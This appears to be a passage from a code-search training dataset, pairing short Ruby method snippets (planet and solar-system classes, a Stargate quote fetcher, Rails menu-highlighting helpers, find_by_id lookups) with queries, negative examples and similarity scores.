"def local_year(planet)\n (@formation_year / planet.orbital_period).round(2)\n end",
"def print_planets\n puts \"\\n#{@name} has #{@planets.length} planets and was formed #{@formation_year} years ago.\"\n puts \"\\nHere are the planets in the #{@name} solar system:\\n\\n\"\n @planets.each do |planet|\n puts \"#{planet.print_planet_data}\"\n end\n puts \"\\n\"\n end",
"def find_planet_by_name(planet_name)\n planet_instance = @planets.find {|planet| planet.name.downcase == planet_name.downcase}\n return planet_instance\n\n # what does this return? the planet name if there's such a match?\n # it returns the corresponding instance of Planet that has all the states\n # q: what should method do if there is no planet with the given name? error, tell them to type in another planet?\n # q : wht should your method do if there are multiple planets with the given name?\n end",
"def summary\n return \"\\nThis planet is called #{@name}. It is #{@color} in color, #{@mass_kg} kilograms in weight, \n and #{@distance_from_sun_km} kilometers from the sun. A fun fact about this planet: #{@fun_fact}.\"\n end",
"def planet_information(some_planet)\n @planets.each do |planet|\n if some_planet.downcase == planet.name.downcase\n return planet.organized_planet_details\n end\n end\n end",
"def planetaryWelcome(planet)\n\tif [:mercury, :venus, :earth, :mars, :jupiter, :saturn, :uranus, :neptune].include? planet\n\t\tputs \"Welcome to planet #{planet}!\"\n\telse\n\t\tputs \"#{planet} is not a planet!\"\n\t\tif [:moon].include? planet\n\t\t\tputs \"Come to the dark side, we have cake.\"\n\t\telsif [:pluto].include? planet\n\t\t\tputs \"Sorry dude.\"\n\t\tend\n\tend\nend",
"def list_planets\n puts \"Planets orbiting #{star_name}:\"\n\n @planets.each_with_index do |planet, i|\n @list_of_planets << \"#{i+1}. #{planet.name}\"\n end\n return @list_of_planets\n end",
"def annex_planet(options={})\n options.assert_valid_keys(:count)\n\n options.reverse_merge! :count => 1\n @objectives.push([\n Objective::AnnexPlanet,\n {:key => PLANET_KEY, :count => options[:count], :npc => true}\n ])\n end",
"def create_user_planet\n puts \"What do you call your planet?:\"\n user_planet_name = gets.chomp\n\n puts \"What is the radius of your planet?:\"\n user_planet_radius = gets.chomp\n\n puts \"What is the length of day for #{user_planet_name}?:\"\n user_planet_lod = gets.chomp\n\n puts \"How far away is #{user_planet_name} from the sun?:\"\n user_planet_distance_sun = gets.chomp\n\n puts \"What is the year length?:\"\n user_planet_year_length = gets.chomp\n\n\n puts \"What is the mass for #{user_planet_name}?:\"\n user_planet_mass = gets.chomp\n\n user_planet = Planets.new(user_planet_name, user_planet_radius, user_planet_lod, user_planet_distance_sun, user_planet_year_length, user_planet_mass)\nreturn user_planet\nend",
"def planet_params\n params.require(:planet).permit(:name, :life, :moons, :image, :star_id, :galaxy_id, :description, :category)\n end",
"def add_planet(new_planet)\n @planets << new_planet\n end",
"def add_planet(new_planet)\n @planets << new_planet\n end",
"def add_planet(new_planet)\n @planets << new_planet\n end",
"def add_planet(new_planet)\n @planets << new_planet\n end",
"def set_planet\n @planet = Planet.find_by(id: params[:id])\n end",
"def list_planets\n planet_list = ''\n i = 0\n @planets.each do |planet|\n i += 1\n planet_list << \"#{i}. #{planet.name.capitalize}\\n\"\n end\n planet_list\n end",
"def print_planet_data\n\n if validate_planet\n\n # print the moon info\n print \"#{@name} has #{@moons.length} moon(s) and has\"\n\n # rings information\n if @rings\n puts \" rings!\"\n else\n puts \" no rings.\"\n end\n\n # other data here\n puts \"#{@name} is #{@surface_temp} and is as wide as #{@diameter_in_earths} Earth(s)!\"\n puts \"#{@name}'s rate of solar rotation is #{@rate_of_solar_rotation} Earth days.\"\n puts \"It's #{@distance_from_the_sun_in_miles} miles from the sun!\"\n\n end\n end",
"def add_a_planet(solar_system)\n print \"Please enter the planet name: \"\n name = gets.chomp\n print\"What is #{name}'s color? \"\n color = gets.chomp\n print \"What is the mass of #{name}? \"\n mass_kg = gets.chomp\n print \"What is the #{name}'s distance from the sun? \"\n distance_from_sun_km = gets.chomp\n print \"What's a fun fact about #{name}? \"\n fun_fact = gets.chomp\n new_planet = Planet.new(name, color, mass_kg, distance_from_sun_km, fun_fact)\n solar_system.add_planet(new_planet)\n puts\n return \"Here is the info you entered about this new planet: \\n\" + new_planet.summary\n end"
] |
[
"0.7159391",
"0.6616675",
"0.6404045",
"0.6393684",
"0.6393615",
"0.6393615",
"0.6393615",
"0.6393615",
"0.6393615",
"0.616198",
"0.6131664",
"0.60030705",
"0.59741247",
"0.59675753",
"0.59631085",
"0.594851",
"0.59319174",
"0.5863729",
"0.5756633",
"0.5756148",
"0.57384753",
"0.57283145",
"0.56576234",
"0.5651457",
"0.56296885",
"0.55830497",
"0.5572714",
"0.55553526",
"0.55473727",
"0.5533213",
"0.5532736",
"0.55323356",
"0.55320805",
"0.55177456",
"0.54982907",
"0.54590166",
"0.54441667",
"0.54339075",
"0.54339075",
"0.54248536",
"0.53808093",
"0.5360912",
"0.53437024",
"0.5337069",
"0.5334427",
"0.5326975",
"0.529816",
"0.52951944",
"0.52951944",
"0.5289201",
"0.5252298",
"0.52337396",
"0.52244765",
"0.52244765",
"0.5222549",
"0.5220663",
"0.52166957",
"0.5216255",
"0.52079517",
"0.5198922",
"0.5180685",
"0.5172817",
"0.5156701",
"0.51275855",
"0.51275575",
"0.5122546",
"0.5112954",
"0.5109036",
"0.51080483",
"0.51080483",
"0.51080483",
"0.51080483",
"0.51080483",
"0.50955796",
"0.5093927",
"0.50874335",
"0.5066664",
"0.50440925",
"0.5043737",
"0.5042364",
"0.50311565",
"0.5031075",
"0.5001156",
"0.49981302",
"0.4995798",
"0.49934238",
"0.49897012",
"0.49895376",
"0.49861383",
"0.49850744",
"0.49687922",
"0.49592564",
"0.49472824",
"0.49472824",
"0.49472824",
"0.49472824",
"0.49471313",
"0.49378896",
"0.49356115",
"0.49291354"
] |
0.7374267
|
0
|
Produces a quote from Stargate.
|
def quote
fetch('stargate.quotes')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def quote\n quote_of_the_day[0...second_to_last_index(quote_of_the_day, \"~\")].gsub(/(\\A[^a-zA-z0-9\"']*|\\s*\\z)/, \"\")\n end",
"def quote\n fetch('final_space.quotes')\n end",
"def quote\n fetch('simpsons.quotes')\n end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote; end",
"def quote\n fetch('dumb_and_dumber.quotes')\n end",
"def quotes; end",
"def quote\n fetch('v_for_vendetta.quotes')\n end",
"def quote\n fetch('ghostbusters.quotes')\n end",
"def quote\n fetch('the_office.quotes')\n end",
"def quotes\n end",
"def quote\n fetch('rick_and_morty.quotes')\n end",
"def quote\n fetch('new_girl.quotes')\n end",
"def quote\n @quote ||= quote_hash\n end",
"def quote\n fetch('princess_bride.quotes')\n end",
"def quote\n fetch('harry_potter.quotes')\n end",
"def marvin_quote; end",
"def quote(value); end",
"def quote\n fetch('brooklyn_nine_nine.quotes')\n end",
"def quote\n fetch('cowboy_bebop.quote')\n end",
"def my_quote\n\tend",
"def quote\n fetch('hey_arnold.quotes')\n end",
"def quote\n _passthru \"<blockquote>\"\n _passthru _body\n _passthru \"</blockquote>\"\n _optional_blank_line\nend",
"def quoted_string; end",
"def quote\n fetch('heroes_of_the_storm.quotes')\n end",
"def generate_quote( qdb_access, tail = false )\n\t\t\t#return nil if (selector.nil? || @@selectors[selector.to_sym].nil?);\n\t\t\t#return get_base_url(@@selectors[selector.to_sym]) if (is.nil? || tags.empty?);\n\t\t\tbegin\n\t\t\t\toutput = []\n\t\t\t\toutput << \"#{qdb_access[:fullname]} quote ##{qdb_access[:id]} (#{qdb_access[:meta]}):\" unless tail\n\t\t\t\toutput << (!tail ? qdb_access[:quote].map {|e| \"- #{e}\" } : qdb_access[:quotetail].map {|e| \"- #{e}\" })\n\n\t\t\t\tfooter = [] \n\t\t\t\tfooter << (qdb_access[:quote].size < qdb_access[:fullquote].size && !tail ? \"#{qdb_access[:fullquote].size - qdb_access[:lines]} lines omitted.\" : nil)\n\t\t\t\tfooter << \"View\"\n\t\t\t\tfooter << (qdb_access[:quote].size < qdb_access[:fullquote].size && !tail ? \"more from\" : nil)\n\t\t\t\tfooter << \"this quote at #{qdb_access[:url]}\"\n\t\t\t\toutput << footer.reject(&:nil?).join(\" \")\n\t\t\t\t\t\n\t\t\t\toutput.reject(&:nil?).join(\"\\n\");\n\t\t\trescue\n\t\t\t\t\"Error: #{$!}\"\n\t\t\tend\n\t\tend",
"def quotation_generator(quotation, citation = {})\n born = citation[:born] || '?'\n died = citation[:died] || '?'\n author = citation[:author] || 'Anonymous'\n dates = \"#{born}—#{died}\"\n cited_quotation = \"“#{h(quotation)}” – #{h(author)}\"\n if (dates == \"?—?\")\n return cited_quotation.html_safe\n else\n return (cited_quotation += \" (#{dates})\").html_safe\n end\n end",
"def quotation_generator(quotation, citation = {})\n born = citation[:born] || '?'\n died = citation[:died] || '?'\n author = citation[:author] || 'Anonymous'\n dates = \"#{born}—#{died}\"\n cited_quotation = \"“#{h(quotation)}” – #{h(author)}\"\n if (dates == \"?—?\")\n return cited_quotation.html_safe\n else\n return (cited_quotation += \" (#{dates})\").html_safe\n end\n end",
"def parse_smart_quotes; end",
"def quote(value, column = nil)\n if value.kind_of?(GeoRuby::SimpleFeatures::Geometry)\n value.as_sdo_geometry\n else\n original_quote(value,column)\n end\n end",
"def quote\n fetch('movie.quote')\n end",
"def format_quote\n\t\t@final_quote = @number.delete('\"\\\">$')\n\t\treturn @final_quote\n\tend",
"def get_quote(ticker, args = {})\n if args.is_a? Hash\n start_date = args[:start_date] if args[:start_date]\n start_date ||= args[:s] if args[:s]\n\n end_date = args[:end_date] if args[:end_date]\n end_date ||= args[:e] if args[:e]\n\n period = args[:period] if args[:period]\n period ||= args[:p] if args[:p]\n end\n\n csv = @yahoo_client.get_csv(ticker, start_date, end_date, period, 'quote')\n create_quotes_from_csv(csv)\n end",
"def quoted\n with_opts(:quoted=>true)\n end",
"def single_quote\n # single quote string here\n 'Hello World and others!'\nend",
"def quote(text)\n \"#{quotes[0]}#{text}#{quotes[1]}\"\n end",
"def quote\n %Q{\"#{self}\"}\n end",
"def quotes\n fetch('community.quotes')\n end",
"def tex_quote\n to_s.tex_quote\n end",
"def quote\n %q[(?:\"|')?]\n end",
"def quote(s)\n \"\\\"#{s}\\\"\"\n end",
"def quote!(type = :double, amount = nil)\n replace(quote(type, amount))\n end",
"def king_richard_iii_quote; end"
] |
[
"0.6427196",
"0.64128244",
"0.6374833",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.63076824",
"0.6264418",
"0.6230343",
"0.61375844",
"0.6132691",
"0.60749",
"0.605588",
"0.60399216",
"0.60029995",
"0.5958802",
"0.594181",
"0.5938319",
"0.5927055",
"0.5876226",
"0.58280003",
"0.5799163",
"0.579789",
"0.5764863",
"0.57249135",
"0.56737906",
"0.56515974",
"0.56272054",
"0.56103665",
"0.56103665",
"0.5605719",
"0.5583728",
"0.5571309",
"0.55592126",
"0.5524195",
"0.5483686",
"0.54801154",
"0.5467176",
"0.54600286",
"0.54094374",
"0.5394583",
"0.5382214",
"0.5371482",
"0.5367828",
"0.5366466"
] |
0.7703826
|
0
|
Helps determine active menu item
|
def currentMenuItem(expected, controller, action)
return "class=active" if expected == (controller + "#" + action)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def active_item\n return @active_item if @active_item\n # Simple configuration means that name is returned immediately\n @active_item = get_value(controller_active_item_config)\n\n # If the configuration is a Hash then we need to find the first\n # menu item that has a passing condition\n if @active_item.is_a? Hash\n @active_item.each do |condition, key|\n @active_item = key and break if @template.instance_eval(condition)\n end\n end\n @active_item\n end",
"def current_menu_item\n controller.current_menu_item\n end",
"def current_menu_item\n if action_name == \"index\"\n loaded_menu_items[-2]\n else\n loaded_menu_items[-1]\n end\n end",
"def active_menu\n active[:main_menu].try(:to_s)\n end",
"def active_link_class(item)\n active_class = 'active_menu_link'\n found = false\n case item.class.to_s\n when 'Project'\n found = true if (@project && @project == item) && (@stage.blank?)\n when 'Host'\n found = true if @host && @host == item\n when 'Recipe'\n found = true if @recipe && @recipe == item\n when 'User'\n found = true if @user && @user == item\n when 'Stage'\n found = true if @stage && @stage == item\n end\n \n if found\n active_class\n else\n ''\n end\n end",
"def current_menu_item\n return @current_menu_item if @current_menu_item_determined\n\n @current_menu_item = menu_items[controller_name.to_sym][:actions][action_name.to_sym] ||\n menu_items[controller_name.to_sym][:default]\n\n @current_menu_item = if @current_menu_item.is_a?(Symbol)\n @current_menu_item\n elsif @current_menu_item.is_a?(Proc)\n @current_menu_item.call(self)\n else\n raise ArgumentError \"Invalid\"\n end\n\n @current_menu_item_determined = true\n\n @current_menu_item\n end",
"def menu_item_class(menu_item_title)\n @current_archive == Archive.ada && menu_item_title == @title ? \"current\" : \"\"\n end",
"def activate_menu(menu_class, selected_menu)\r\n class_list = menu_class\r\n class_list += (selected_menu == menu_class) ? \" active\" : \"\"\r\n end",
"def current_menu_link\n @current_menu_link ||= (InternalTab.where(controller: controller_name, action: action_name).first || InternalTab.where(controller: controller_name).first || InternalTab.new)\n end",
"def menu_item?\n @menu_item\n end",
"def active_nav\n @active = \"user\"\n end",
"def select_menu(menu_item)\n session[:active_menu] = menu_item\n end",
"def current_menu(cntrl)\n true if controller.controller_name.eql?(cntrl)\n end",
"def main_menu_nav(main_menu_item)\n main_menu_items.each do |item|\n if item.text == main_menu_item\n item.click\n break\n end\n end\n end",
"def nav_active(path)\n (current_page.path.start_with? path) ? \"active\" : \"\"\n end",
"def active? path\n \"active\" if current_page? path\n end",
"def active? path\n \"active\" if current_page? path\n end",
"def active? path \n \"active\" if current_page? path\n end",
"def is_active?(link_path)\n\t if current_page?(link_path)\n\t \"active\"\n\t else\n\t \"\"\n\t end\n end",
"def active_in_page(path)\n \"active\" if current_page?(path)\n end",
"def menu(current)\n Model::MENU.map{ |m|\n li_class =\n [current == m[:section] ? \"active\" : \"\", m[:cls].to_s].join(\" \")\n \"<li class=\\\"#{li_class}\\\"><a href=\\\"#{m[:href]}\\\">#{m[:label]}</a>\"\n }.join(\"\")\n end",
"def active_navigation(link_path)\n\t current_page?(link_path) ? 'active' : ''\n\tend",
"def active_submenu\n active[:submenu].try(:to_s)\n end",
"def link_actived?(link_path)\n \"active\" if current_page?(link_path)\n end",
"def is_active?(link_path)\n current_page?(link_path) ? \"active\" : \"\"\n end",
"def is_active?(link_path)\n if current_page?(link_path)\n 'active'\n else\n ''\n end\n end",
"def get_item(item_name)\n return @menu[item_name]\n end",
"def navbar_active\n # reset in controller for active navbar menu item\n @navbar_active = :collection\n end",
"def active_class(link_path)\n current_page?(link_path) ? \"active\" : \"\"\n end",
"def backstage_navigation_item(id, href, controllers = [])\n if controllers.empty? then controllers = [ id.to_s ] end\n\n selected = controllers.any? { |c| c == controller_name } && ' selected'\n\n title = t :\"backstage.navigation.#{id}.title\"\n name = t :\"backstage.navigation.#{id}.name\"\n\n <<-HTML.html_safe\n <li class=\"#{ h id }#{ selected or '' }\">\n <a href=\"#{ href }\" title=\"#{ h title }\">\n <span class=\"icon\">#{ h name }</span>\n </a>\n </li>\n HTML\n end",
"def get_current_menu_item\n return @jsession_store.get_session[:active_transaction].pdt_method.program_name.to_s if(@jsession_store.get_session[:active_transaction]!=nil && self.class.name != @jsession_store.get_session[:active_transaction].class.name)\n if @pdt_method\n return @pdt_method.program_name\n end\n return nil\n end",
"def active_class(link_path)\n active = current_page?(link_path) ? \"active\" : \"no-active\"\n end",
"def active_class(link_path)\n active = current_page?(link_path) ? \"active\" : \"no-active\"\n end",
"def set_header_menu_active\n @content_active = \"active\"\n end",
"def active_nav tab\n\t return session['tab'] == tab ? 'active' : ''\n\tend",
"def active_class(link_path)\n current_page?(link_path) ? 'active' : ''\n end",
"def active?(nav_step)\n nav_step.to_sym == h.controller_name.to_sym\n end",
"def is_menu_active? controller_paths\n active = false\n controller_paths.each do |path|\n next if active\n active = controller.controller_path == path\n end\n\n active\n end",
"def active_page(active_page)\n @active == active_page ? \"active\" : \"\"\n end",
"def active_page(active_page)\n @active == active_page ? \"active\" : \"\"\n end",
"def active_page(active_page)\n @active == active_page ? \"active\" : \"\"\n end",
"def current_item\n current_window.item\n end",
"def navbar_active\n # reset in controller for active navbar menu item\n @navbar_active = :shopping_cart\n end",
"def navigation_menu(i18n_path, controller_paths, link_to_path, options={})\n code = '<li class=\"'\n code += 'active ' if is_menu_active? controller_paths\n code += 'first ' if options[:first]\n code += \"\\\">\\n\"\n code += link_to(I18n::t(i18n_path), link_to_path) + \"\\n\"\n code += \"</li>\\n\"\n\n code\n end",
"def item title, link\n unless current_page? link\n content_tag :li, link_to(title, link)\n else\n content_tag(:li, :class => :active){\n content_tag :strong, title\n }\n end\n end",
"def current_css(item, nested = false)\n name = if (nested || @action_menu)\n self.view.action_name \n else\n (controller_override = self.view.controller.class.current_section).blank? ? \n self.view.controller_name : controller_override\n end\n \n 'current' if normalize(name) == normalize(item)\n end",
"def select_menu_item app, *path\n app.application.select_menu_item *path\n end",
"def activepage?(path)\n \t\t\"active\" if current_page?(path)\n \tend",
"def nav_active(url)\n active_nav_class = \"current\"\n\n if (url.instance_of? String)\n current_resource.url == url_for(url) ? {class: active_nav_class} : {}\n elsif (url.instance_of? Array)\n url.map { |url| url_for(url) }.include?(current_resource.url) ? {class: active_nav_class} : {}\n else\n {}\n end\n end",
"def menu_selection \nend",
"def main_menu\n @active = 0\n @prompt.select(\"\\nWhat would you like to do?\\n\".blue) do |menu|\n menu.choice \"Check out what's on today\", -> {today_menu} \n menu.choice \"Check out things to do on the weekend\", -> {weekend_menu}\n menu.choice \"Look at my favourites\", -> {display_favorites}\n menu.choice \"Exit\".red, -> {leave_app} \n end \n end",
"def page_active?(symbol); selected_page == symbol; end",
"def active_navbar_class(page_path)\n current_page?(page_path) ? \"active\" : \"\"\n end",
"def active_element; end",
"def active(basename)\n basename == Pathname.new(current_page.destination_path).basename.to_s.sub(/\\..*/, '') ? {'class' => 'ui-btn-active'} : {}\n end",
"def navmenu_id which\n \"#{which}-navmenu\"\n end",
"def main_menu_link; MAIN_MENU_LINK; end",
"def active_class(rendered_page, current_page)\n if rendered_page[:shortname] == current_page[:shortname]\n return 'active'\n elsif (current_page.page_type == \"country\" && !current_page.parent.nil? && rendered_page[:shortname] == current_page.parent[:shortname])\n return 'active'\n end\n return '' \n end",
"def menu(selected)\n @menu = selected\n end",
"def admin_active_for(controller_name, navbar_name)\n if controller_name.to_s == admin_root_path\n return controller_name.to_s == navbar_name.to_s ? \"active\" : \"\"\n end\n navbar_name.to_s.include?(controller_name.to_s) ? 'active' : ''\n end",
"def admin_active_for(controller_name, navbar_name)\n if controller_name.to_s == admin_root_path\n return controller_name.to_s == navbar_name.to_s ? \"active\" : \"\"\n end\n navbar_name.to_s.include?(controller_name.to_s) ? 'active' : ''\n end",
"def bsh_navbar_item(display, url, active: true)\n is_active = active && request.path == url\n\n raw <<-HTML.chomp!\n <li class='#{is_active ? 'active' : ''}'><a href='#{url}'>#{display}</a></li>\n HTML\n end",
"def selected_item\n get_content()[focussed_index()]\n end",
"def get_Menu_Item\n item_name = session[:goldberg][:menu_item]\n end",
"def menu_item(path)\r\n current_menu_items = root_menu_items\r\n matching_menu_item = nil\r\n path.each_with_index do |target_menu_item, index|\r\n case current_menu_items\r\n when Array\r\n matching_menu_item = current_menu_items.find {|node| node.name == target_menu_item} #TODO: make this work with regexes as well as strings...\r\n raise Bewildr::ElementDoesntExist if matching_menu_item.nil?\r\n when Bewildr::Element\r\n if current_menu_items.name == target_menu_item #TODO: make this work with regexes as well as strings...\r\n matching_menu_item = current_menu_items\r\n else\r\n raise Bewildr::ElementDoesntExist\r\n end\r\n end\r\n raise Bewildr::ElementDoesntExist if matching_menu_item.nil?\r\n if path.size != index + 1\r\n matching_menu_item.expand\r\n current_menu_items = matching_menu_item.sub_menus\r\n end\r\n end\r\n return matching_menu_item\r\n end",
"def aboutusActive?(page_title)\n 'class=\"active\"' if page_title == \"About Us\"\n end",
"def case_menu(selection)\n case selection\n when 'Playlist'\n @playlist.menu\n when 'Account Details'\n account_details\n when 'Exit'\n p \"Is this exiting?\"\n end\n end",
"def set_current_menu\r\n @current_menu = params[:controller].to_sym\r\n @current_sub_menu = nil\r\n end",
"def active\n base.image_for(\"#{name}_active\")\n end",
"def selected_item\n get_content()[focussed_index()]\n end",
"def current?\n self.collection_tag.template_tag.page_generator.menu.id == self.model.id\n end",
"def assigned_menu\n\n end",
"def active_tab(tab)\n if request.path.include?(tab)\n 'active'\n else\n ''\n end\n end",
"def navbar_active_pill(pill_name)\n unless params[:nav].nil?\n if params[:nav].casecmp(pill_name) == 0\n return 'active'\n end\n else\n if pill_name.casecmp(default_pill) == 0\n return 'active'\n end\n end\n\n return ''\n end",
"def active_item_type\n sorted_item_types.find(&method(:active?))\n end",
"def active?\n return @active unless @active\n\n @active = @name == current_application_name &&\n @title == current_window_title\n finish! unless @active\n\n return @active\n end",
"def select_for_item(item)\n @cursor_fix = item.for_user?\n @cursor_all = item.for_all?\n if @cursor_fix\n select($game_party.menu_actor.index)\n elsif @cursor_all\n select(0)\n else\n select_last\n end\n end",
"def is_active?(link_path)\n link_path.include?(request.path) ? \"active\" : \"\"\n end",
"def is_active?(link_path)\n link_path.include?(request.path) ? \"active\" : \"\"\n end",
"def current_sublink\n @current_sublink ||= current_menu_link_group.parent || InternalTab.new\n end",
"def object_value_of_selected_item\n if @options_menu.nil?\n return nil\n end\n\n @options[@options_menu.selection]\n end",
"def active_class(link_path)\n if request_path_active?(link_path)\n \"active\"\n else\n \"\"\n end\n rescue ActionController::UrlGenerationError\n \"\"\n end",
"def css_class\n (page.link_to.split('/')[1] == @href.split('/')[1] || page.link_to?(@href)) && \"active\"\n end",
"def getMenu(menu)\n end",
"def main_menu\n selection = input(@menu) {|o| (1..2) === o.to_i }.to_i\n \n if 1 == selection\n :continue\n elsif 2 == selection\n :quit\n end\n end",
"def get_minimenu_item(minimenu, selection_type = nil)\r\n #initialize selection_type if needed\r\n selection_type = 0 if selection_type == nil\r\n #flag window as waiting\r\n @waiting = true\r\n #create the minimenu sprite\r\n menu = Sprite_ZeldaCMS_Minimenu.new(minimenu, @cursor)\r\n menu.x, menu.y = @xy_pos[@index]\r\n #loop until an item has been selected or cancelled\r\n loop do\r\n Graphics.update\r\n Input.update\r\n menu.update\r\n break if Input.trigger(InputC) Input.trigger(InputB) \r\n Input.trigger(XAS_COMMANDITEM_ACTION[0]) \r\n Input.trigger(XAS_COMMANDITEM_ACTION[1]) \r\n Input.trigger(XAS_COMMANDITEM_ACTION[2])\r\n end\r\n #get the item\r\n item = menu.item\r\n item = nil if Input.trigger(InputB)\r\n selection_type = 0 if Input.trigger(XAS_COMMANDITEM_ACTION[0])\r\n selection_type = 1 if Input.trigger(XAS_COMMANDITEM_ACTION[1])\r\n selection_type = 2 if Input.trigger(XAS_COMMANDITEM_ACTION[2])\r\n #dispose the menu\r\n menu.dispose\r\n #move menu cursor\r\n @cursor.x, @cursor.y = @xy_pos[@index][0], @xy_pos[@index][1]\r\n #return the item\r\n return item, selection_type\r\n end",
"def is_active?(current_page)\n return \"is-active is-primary\" if params[:controller] == current_page.to_s\n end",
"def active_tab\n children.find { |child| child.has_class(:active) }\n end",
"def tab_selected(controller, action = nil)\n \"selected\" if controller_name == controller and (action.nil? or action_name == action)\n end",
"def selected_item?(item)\n # Ensure we match the path without the locale, if present.\n path = match_locale_for(encoded_path)\n\n # First try to match against a \"menu match\" value, if available.\n return true if menu_match_is_available?(item, path)\n\n # Find the first url that is a string.\n url = find_url_for(item)\n\n # Now use all possible vectors to try to find a valid match\n [path, CGI.unescape(path)].include?(url) || path == \"/#{item.original_id}\"\n end",
"def activate_current_window\n if @item_window.index > -1\n @item_window.activate\n else\n @category_window.activate\n end\n end",
"def selected_by_condition?\n is_active_nav_link?(url, highlights_on)\n end",
"def select_item\n @selected = @current\n\n items\n end",
"def selected_item\n # @list[@current_index]\n end",
"def navigation_item(content = false, &block)\n cls = 'navigation-item'\n cls << ' active' if content\n\n tag('li', content, class: cls, &block)\n end",
"def main_nav_link_helper(role,link_id,link_text,link_title,link_details)\n if has_role?(role)\n (\"<li id='#{link_id}'#{\" class='active'\" if main_nav_guess_current == link_id}>\" +\n link_to(link_text, link_details, :title => link_title) +\n \"</li>\").html_safe\n else\n \"\"\n end\n end",
"def menu_item(name)\n self.div(:class=>/lhnavigation(_subnav|)_item_content/, :text=>name)\n end",
"def _active_target\n @target\n end",
"def init_menu\n @menus.set_selected(\"about\")\n end",
"def admin_sub_navigation_entry_active?(entry)\n params[:controller] == entry[\"controller\"].gsub(/^\\//, '') && (params[:action] == entry[\"action\"] || entry[\"nested_actions\"] && entry[\"nested_actions\"].include?(params[:action]))\n end"
] |
[
"0.76982325",
"0.763451",
"0.76050305",
"0.7596932",
"0.73686796",
"0.7286955",
"0.71070236",
"0.6879232",
"0.68591166",
"0.682274",
"0.6795854",
"0.6775279",
"0.6724239",
"0.66545695",
"0.66155607",
"0.65797734",
"0.65797734",
"0.65682334",
"0.6558391",
"0.65576816",
"0.6553851",
"0.6546759",
"0.6534819",
"0.6508752",
"0.64965296",
"0.64785427",
"0.6474504",
"0.64320225",
"0.6430352",
"0.6428673",
"0.6410849",
"0.63400465",
"0.63400465",
"0.63391024",
"0.6333559",
"0.6331762",
"0.6290869",
"0.628214",
"0.62769616",
"0.62769616",
"0.62769616",
"0.6259671",
"0.6241708",
"0.62340355",
"0.61851555",
"0.6178058",
"0.61642766",
"0.61448085",
"0.61359876",
"0.6121155",
"0.60715985",
"0.60641074",
"0.6063681",
"0.60494596",
"0.60461164",
"0.60381866",
"0.6029273",
"0.6026286",
"0.6020669",
"0.6020136",
"0.6020136",
"0.6019155",
"0.6017534",
"0.6016914",
"0.6004925",
"0.6001573",
"0.6001426",
"0.599669",
"0.5994582",
"0.59794945",
"0.5976818",
"0.59711057",
"0.5944378",
"0.5943456",
"0.59376526",
"0.5934724",
"0.5929307",
"0.5928065",
"0.5928065",
"0.5925448",
"0.59197885",
"0.5904347",
"0.5894819",
"0.5880123",
"0.5869309",
"0.58494824",
"0.5845864",
"0.58409375",
"0.58290553",
"0.5825688",
"0.58141065",
"0.58116657",
"0.5811445",
"0.5810534",
"0.5809395",
"0.58030397",
"0.580198",
"0.5794653",
"0.5791786",
"0.578661"
] |
0.76013595
|
3
|
Note: We use find_by_id to avoid exeception being raised in case of empty search result
|
def current_merchant_store
@current_merchant_store ||= session[:current_merchant_store_id] &&
MerchantStore.find_by_id(session[:current_merchant_store_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && !results['id'].blank? && new(results) || nil\n end",
"def find(id)\n find_result\n end",
"def find(id); end",
"def find(id); end",
"def find_by_id(id)\n results = many.find_with_attributes_ne(id)\n results.blank? && nil || with_details(results)\n end",
"def find(id)\n raise NotImplementedError\n end",
"def find_by_id(id)\n raise NotImplementedError.new\n end",
"def prepare_find\n raise Error.new('Cannot find an event without an ID') if id.blank?\n self\n end",
"def find(id)\n first(\"Id = '#{id}'\")\n end",
"def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && new(results) || nil\n end",
"def find_by_id!(id)\n new(one.find_by_id(id) || raise(RecordNotFound, \"A #{name} record for #{id} does not exist.\"))\n end",
"def find!(id)\n find(id) || raise(RecordNotFound, id)\n end",
"def find(id)\n finder_or_run(:find, id)\n end",
"def find(id)\n end",
"def find_by_id!(id)\n found = entities.detect { |elm| elm.id == id }\n raise Occi::Core::Errors::CollectionLookupError, \"Entity #{id.inspect} not found in the collection\" unless found\n found\n end",
"def find_by_id(id)\n find(id)\n end",
"def find_by_id(id)\n find_by(:id, id)\n end",
"def find_by_id(id)\n find_by_id!(id)\n rescue TopdeskAPI::Error::RecordNotFound\n nil\n end",
"def find(id)\n fetch([name, id]) do\n super\n end\n end",
"def find(id, optional = {})\n find_all([id], optional).first\n end",
